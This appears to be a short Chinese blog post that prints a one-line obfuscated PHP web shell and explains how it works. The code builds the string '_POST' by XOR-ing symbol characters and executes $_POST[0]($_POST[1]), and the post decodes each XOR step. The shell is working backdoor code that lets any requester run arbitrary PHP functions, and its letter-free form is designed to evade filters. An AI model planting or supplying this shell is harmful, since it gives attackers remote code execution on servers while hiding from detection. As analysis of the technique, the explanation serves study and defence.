1 2 3 4 5 6 7 8 9 10 11
|
<?php
@$_++; $__=("#"^"|"); $__.=("."^"~"); $__.=("/"^"`"); $__.=("|"^"/"); $__.=("{"^"/"); ${$__}[!$_](${$__}[$_]);
?>
|
在php里,定义的空变量值未false=0,所以$_自增之后的值为1;
^在php逻辑运算符里代表异或,即将符号转换为二进制之后进行异或运算,之后再转换为符号或字母等。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
|
"#"^"|" 00100011’^’ 01111100 ==> 01011111 ==> ‘_’
"."^"~" 00101110’^’ 01111110 ==> 01010000 ==> ‘P’
"/"^"`" 00101111’^’ 01100000 ==> 01001111 ==> ‘O’
"|"^"/" 01111100’^’ 00101111 ==> 01010011 ==> ‘S’
"{"^"/" 01111011’^’ 00101111 ==> 01010100 ==> ‘T’
${$__}[!$_](${$__}[$_]); ==> $_POST[0]($_POST[1]);
|
近期评论